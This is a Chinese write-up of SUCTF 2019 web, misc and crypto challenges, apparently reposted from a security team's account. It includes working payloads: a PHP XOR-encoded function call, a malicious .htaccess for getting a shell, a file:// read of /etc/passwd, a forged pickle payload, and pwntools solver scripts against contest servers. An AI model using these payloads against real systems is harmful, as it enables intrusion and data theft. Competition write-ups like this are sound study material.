SUCTF-WriteUp(上)

Web

CheckIn

解题思路

.user.ini & script php

SUCTF{U5er_1n1_01d_TR1ck}


EasyPHP 解题思路

https://gist.github.com/ed22c1ad2dc22c56f266a92635a9591c#file-str_or_str-php

http://47.111.59.243:9001/?_=${%A0%A0%A0%A0^%FF%E7%E5%F4}{%A0}();&%A0=phpinfo

然后就能调用 get_the_flag 函数了,利用htaccess 加个新的后缀来 getshell,参考: https://xz.aliyun.com/t/3937

.htaccess 内容

\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .vk
php_value auto_append_file "php://filter/convert.base64-decode/resource=v.vk"

拿到 shell 发现有 open_basedir 和 disable_function 限制,限制了命令执行,利用 LD_PRELOAD 来进行绕过:


Pythonginx 解题思路

利用数学符号绕过

㏄

file://suctf.%E3%8F%84/etc/passwd

任意文件读取:

读 nginx 配置:

读 flag:

SUCTF{67cc389fc00bd1e9db2956f3e46f74ad}


iCloudMusic

解题思路

下载程序之后,进入 Resources 目录,解包 app.asar

$ asar e app.asar app/

然后就得到了整个程序的源代码了

app/src/list.html 可以看到分享给管理员的逻辑:

测试发现musicinfo的 header 部分存在js 注入

main 的 nodeintegration是开的,尝试直接 require process 来 rce,发现不行,猜测list 没开。

参考国外 ppt,发现可以通过接触 process 来绕过 。

剩下的就是

  1. 找到传入process 以 self 为参数等的函数劫持
  2. 触发函数

直接尝试覆盖所有的 Function.prototype,然后尝试 pr.js 的几个全局变量,发现 request 发送请求时会触发。


Easy_sql 解题思路

MISC

guess_game

解题思路

考python的pickle模块的。 正常猜数字想要拿到flag,确实有点难。。。 我们发往服务端的数据是pickle dump出来的。如果服务端load的过程中,能改写服务端的随机数字就什么都解决了。 看看服务端所说是限制的load操作。 class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): # Only allow safe classes if "guess_game" == module[0:10] and "__" not in name: return getattr(sys.modules[module], name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) 如果要构造对象,只能是guess_game模块下的。而且目标名不能包含“__”,执行命令可能不好办,所以才有了上面想改随机数的想法。 服务端还有一个校验 assert type(ticket) == Ticket 反序列化后的类型也限死了。 考虑再三,思路如下: 通过全局对象game,更改game.curr_ticket,然后再将其pop出栈,再构造一个具有相同number数据的Ticket对象。 最终构造如下: \x80\x03cguess_game\ngame\n}X\x0b\x00\x00\x00curr_ticketcguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x01sbsb0cguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x01sb.

Crypt

DSA 解题思路

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from pwnlib.util.iters import bruteforce
from parse import *
import string
from hashlib import sha256,md5
import time
# context.log_level="debug"
from hashlib import *
from Crypto.Util.number import *
from gmpy2 import *

def hash(msg):
    return int(md5(msg).hexdigest(), 16)

def solve_for(params, set1, set2):
    p, q, g = params
    msg1, r1, s1 = set1
    msg2, r2, s2 = set2
    c1, c2 = msg1, msg2
    for k1 in range(1, 1024):
        # print k1
        for k2 in range(1, 1024):
            priv = (c2*k1*s1 - c1*k2*s2) * invert(r1*k2*s2 - r2*k1*s1, q) % q
            if pubkey == pow(g, priv, p):
                # print priv
                return priv

if len(sys.argv)==1:
    conn=process(pwn_file)
    pid=conn.pid
else:
    conn=remote("47.111.59.243",8001)
    def brute_force(c,s):
        return bruteforce(lambda x:md5(x+c).hexdigest()[0:5]==s,'0123456789abcdef',length=5)

    conn.recvuntil('something for me?')
    conn.sendline('')
    conn.recvuntil("p:")
    p=int(conn.recvline().strip())
    conn.recvuntil("q:")
    q=int(conn.recvline().strip())
    conn.recvuntil("g:")
    g=int(conn.recvline().strip())
    conn.recvuntil("y:")
    y=int(conn.recvline().strip())
    conn.recvuntil('let me show you some before:')
    conn.sendline('')
    rs=[]
    for i in range(12):
        conn.recvuntil('Its MD5 digest:')
        msg=int(conn.recvline().strip())
        r,s=eval(conn.recvline().strip())
        rs.append((msg,r,s))
    conn.recvuntil('Its MD5 digest is:')
    mmm=int(conn.recv(128,timeout=1).strip())
    params=(p,q,g)
    pubkey=y
    privkey=1
    set1=()
    set2=()
    for i in range(len(rs)):
        for j in range(len(rs)):
            if i!=j:
                if rs[i][1]==rs[j][1]:
                    set1=rs[i]
                    set2=rs[j]
    privkey=solve_for(params, set1, set2)
    k=17
    r=pow(g,k,p)%q
    s=invert(k, q) * ( mmm + privkey * r) % q
    conn.sendline(str(r)+", "+str(int(s)))   
    conn.interactive()

MT

解题思路

def rec(m):
    m=m ^ m >> 19
    t=bin(m)[2:]
    t_r15=t[-15:]
    t2=int(t_r15+'0'*17,2)& 2245263360
    m=m^t2
    t=bin(m)[2:]
    t_r9=t[-9:]
    r18_9=int(t_r9+'0'*9,2)&2029229568
    t_r18_9=bin(m^r18_9)[2:][-18:-9]
    r27_18=int(t_r18_9+'0'*18,2)&2029229568
    t_r27_18=bin(m^r27_18)[2:][-27:-18]
    t3=int('0'*5+t_r27_18+t_r18_9+t_r9,2)<<9 & 2029229568
    m=m^t3
    t=bin(m)[2:].zfill(32)
    q=bin(m ^ m >> 13)[2:].zfill(32)
    m1=int(t[:13]+q[13:26]+"0"*6,2)
    r6=bin(m ^ m1 >> 13)[2:].zfill(32)[-6:]
    m=int(t[:13]+q[13:26]+r6,2)
    return m

q=[0x641460a9,0xe3953b1a,0xaa21f3a2]
flag="flag{"
for i in q:
    flag=flag+hex(rec(i))[2:]
flag+="}"
print(flag)

Prime

解题思路

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
# context.log_level="debug"
from pwnlib.util.iters import bruteforce
from parse import *
import string
from hashlib import sha256,md5
import time
from gmpy2 import *

conn=remote("47.111.59.243",8003)
def brute_force(c,s):
    return bruteforce(lambda x:md5(x+c).hexdigest()[0:5]==s,'0123456789abcdef',length=5)

conn.recvuntil('string that')
data=conn.recvline()   
s=parse(" md5(str + {})[0:5] == {}\n",data)
conn.sendline(brute_force(s[0],s[1]))
conn.recvuntil('>')
c=[]
n=[]
for i in range(4):
    conn.recvuntil('cs[{0}] ='.format(i))
    c.append(int(conn.recvline().strip().replace('0x','').replace('L',''),16))
    conn.recvuntil('ns[{0}] ='.format(i))
    n.append(int(conn.recvline().strip().replace('0x','').replace('L',''),16))
for i in range(4):
    p=[]
    for j in range(4):
        if i!=j:
            p.append(gcd(n[i],n[j]))
    p.append(n[i]/(p[0]*p[1]*p[2]))
    phi=1
    for j in range(4):
        phi=phi*(p[j]-1)
    a=(n[i]%phi)
    b=phi
    d=invert(a,b)
    m=pow(c[i],d,n[i])
    conn.sendline(hex(m).replace('L',''))
conn.interactive()

RSA

解题思路

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
# context.log_level="debug"
from pwnlib.util.iters import bruteforce
from parse import *
import string
from hashlib import sha256,md5
import time
from gmpy2 import *
import decimal
conn=remote("47.111.59.243",9421)

def oracle(c1):
    conn.recvuntil('Quit.')
    conn.sendline('D')
    conn.recvuntil('message:')
    conn.sendline(str(c1))
    res = conn.recvline().strip()
    if 'even' in res : 
        return 0
    if 'odd' in res:
        return 1
    else:
        assert (0)

def partial(c, n):
    global c_of_2
    k = n.bit_length()
    decimal.getcontext().prec = k  
    lower = decimal.Decimal(0)
    upper = decimal.Decimal(n)
    for i in range(k):
        possible_plaintext = (lower + upper) / 2
        flag = oracle(c)
        if not flag:
            upper = possible_plaintext  
        else:
            lower = possible_plaintext  
        c = (c * c_of_2) % n  
        print i, flag, int(upper - lower)
    return int(upper)

if __name__ == '__main__':
    def brute_force(c,s):
        return bruteforce(lambda x:md5(x+c).hexdigest()[0:5]==s,'0123456789abcdef',length=5)
    conn.recvuntil('string that')
    data=conn.recvline() 
    s=parse(" md5(str + {})[0:5] == {}\n",data)
    conn.sendline(brute_force(s[0],s[1]))

    conn.recvuntil('flag!\n')
    for i in range(1,4):
        conn.recvuntil('Round {0}\n'.format(i))
        conn.recvuntil('n =')
        n=int(conn.recvline().strip())
        conn.recvuntil('e =')
        e=int(conn.recvline().strip())
        conn.recvuntil('c =')
        c=int(conn.recvline().strip())      
        print(n,e,c)   
        c_of_2 = pow(2, e, n)
        m = partial((c * c_of_2) % n, n)
        conn.sendline('G')
        conn.sendline(str(m))
    conn.interactive()

PWN和Reverse部分请看SUCTF-WriteUP(下)!

本文分享自微信公众号 - ChaMd5安全团队(chamd5sec)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-08-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏三言两语

网站域名到底加不加 WWW

总的来说对于大访问量或多子域名的网站来说,不建议使用裸域。小流量或子域名少的网站的话就看个人爱好了。我挺喜欢裸域的。最近几年流行起来的「单页网页应用」 ( Si...

32120
来自专栏PHP专享栏

小程序同步微信步数

小程序获取微信运动步数,咱们看文档:https://developers.weixin.qq.com/miniprogram/dev/api/open-api/...

29020
来自专栏PHP饭米粒

Swoft 2.0.5 更新,新增高效秒级定时任务、异常管理组件

Swoft 是一款基于 Swoole 扩展实现的 PHP 微服务协程框架。Swoft 能像 Go 一样,内置协程网络服务器及常用的协程客户端且常驻内存,不依赖传...

15720
来自专栏Python绿色通道

昨天七夕一个人过?Python帮你脱单

我之前写了一个抓取妹子资料的文章,主要是使用selenium来模拟网页操作,然后使用动态加载,再用xpath来提取网页的资料,但这种方式效率不高。用Python...

8620
来自专栏code秘密花园

让自动化工作流解放你的双手

相信很多小伙伴和我目前的现状是一样的,公司的前端部署测试和上线都是通过人工去操作,当我们本地开发完成之后,在本地进行打包,然后将打包后的 dist 文件上传到服...

10330
来自专栏技术探究-前端、Python、爬虫、数据分析、工具

听说广州地震了!地震到底离我们有多近,Python 爬虫带你了解

这周看到了两个地震新闻,一个是广东广州增城的,另一个是台湾的,因为本人身在广州,而且对于广佛这边的来说地震其实挺突然的对于我们来说,基本在广佛这边很少出现地震,...

15820
来自专栏LAMPer 技术栈

宝塔面板部署 Nextcloud 私有云

浏览器打开域名或服务器IP:8888端口,例如 www.lamper.top:8888,输入账号密码进入面板首页

83420
来自专栏架构师进阶

Feign-手动创建FeignClient

在Feign-请求不同注册中心的服务中,提到,如果需要请求不同注册中心的服务,可以设置@FeignClient的url属性。

12110
来自专栏Python爬虫与数据挖掘

干货 | 十分钟带你从入门到进阶python爬虫

爬虫(spider,又网络爬虫),是指向网站/网络发起请求,获取资源后分析并提取有用数据的程序。

10940
来自专栏架构师进阶

Feign-请求不同注册中心的服务

FeignClient 使用url配置,使用placeHolder,注入url的值

9020

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励